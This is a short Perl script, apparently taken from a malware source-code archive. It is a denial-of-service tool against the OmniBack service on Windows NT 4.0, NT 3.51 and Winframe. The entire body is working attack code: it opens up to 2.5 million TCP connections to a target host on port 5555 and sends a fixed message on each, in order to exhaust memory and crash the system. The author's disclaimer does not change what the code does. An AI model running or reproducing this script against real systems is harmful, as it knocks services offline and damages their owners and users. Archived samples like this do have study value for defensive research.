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vxug-MalwareSourceCode/Perl/DoS.Perl.Nertt
2020-10-09 21:59:39 -05:00

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#
# Jon Hittner
# Raise the memory size for omnilnet until Windows NT crashes
# Test against NT4.0 SP5 , NT3.51 , Winframe 1.7 SP5b , Winframe 1.8
# Probably needs to be run several times to crash the system depending
# on the amount of memory in the system.
# This code was written to demo a problem, and I take no respoablity on how
# it's used
use strict; use Socket;
my($y,$h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]"; $p = 5555 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.domain.com\n"; }
$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
print "TESTING: $h:$p\n";
for ($y=1 ; $y<2500000 ; $y++) {
socket(S, AF_INET, SOCK_STREAM, $proto);
connect(S,$addr) or next;
select S;
$| = 1;
select STDOUT;
send S,"OMNIBACK HAS SOME BIG ISSUES",0;
}
print "ATTACK COMPLETED!\n";